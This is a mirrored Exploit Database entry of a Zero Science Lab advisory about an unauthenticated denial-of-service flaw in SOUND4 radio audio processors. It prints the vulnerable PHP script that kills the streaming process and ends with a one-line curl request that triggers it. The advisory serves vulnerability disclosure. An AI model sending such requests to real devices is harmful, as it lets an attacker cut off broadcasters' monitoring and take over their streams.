SOUND4 IMPACT/FIRST/PULSE/Eco v2.x – Denial Of Service (DoS)

• Exploit Database
• 38 阅读

• 作者： LiquidWorm
  日期： 2023-03-31
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/51170/

• # Exploit Title: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x-Denial Of Service (DoS)
  # Exploit Author: LiquidWorm
  
  Vendor: SOUND4 Ltd.
  Product web page: https://www.sound4.com | https://www.sound4.biz
  Affected version: FM/HD Radio Processing:
  Impact/Pulse/First (Version 2: 1.1/2.15)
  Impact/Pulse/First (Version 1: 2.1/1.69)
  Impact/Pulse Eco 1.16
  Voice Processing:
  BigVoice4 1.2
  BigVoice2 1.30
  Web-Audio Streaming:
  Stream 1.1/2.4.29
  Watermarking:
  WM2 (Kantar Media) 1.11
  
  Summary: The SOUND4 IMPACT introduces an innovative process - mono and
  stereo parts of the signal are processed separately to obtain perfect
  consistency in terms of both sound and level. Therefore, in moving
  reception, when the FM receiver switches from stereo to mono and back to
  stereo, the sound variations and changes in level are reduced by over 90%.
  In the SOUND4 IMPACT processing chain, the stereo expander can be used
  substantially without any limitations.
  
  With its advanced functionalities and impressive versatility, SOUND4
  PULSE gives clients the ultimate price - performance ratio, providing
  much more than just a processor. Flexible and powerful, it ensures perfect
  sound quality and full compatibility with radio broadcasting standards
  and can be used simultaneously for FM and HD, DAB, DRM or streaming.
  
  SOUND4 FIRST provides all the most important functionalities you need
  in an FM/HD processor and sets the bar high both in terms of performance
  and affordability. Designed to deliver a sound of uncompromising quality,
  this tool gives you 2-band processing, a digital stereo generator and an
  IMPACT Clipper.
  
  Desc: The application allows an unauthenticated attacker to disconnect the
  current monitoring user from listening/monitoring and takeover the radio
  stream on a specific channel.
  
  ------------------------------------------------------------------------
  /var/www/killffmpeg.php:
  ------------------------
  
  01: <?php
  02: $ret=0;
  03: exec("bash -c 'kill $(cat /tmp/webplay.pid)'",$out,$ret);
  04: echo $ret;
  05: ?>
  ------------------------------------------------------------------------
  
  Tested on: Apache/2.4.25 (Unix)
   OpenSSL/1.0.2k
   PHP/7.1.1
   GNU/Linux 5.10.43 (armv7l)
   GNU/Linux 4.9.228 (armv7l)
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  Macedonian Information Security Research and Development Laboratory
  Zero Science Lab - https://www.zeroscience.mk - @zeroscience
  
  
  Advisory ID: ZSL-2022-5725
  Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5725.php
  
  
  26.09.2022
  
  --
  
  
  > curl -sko -nul https://RADIO/killffmpeg.php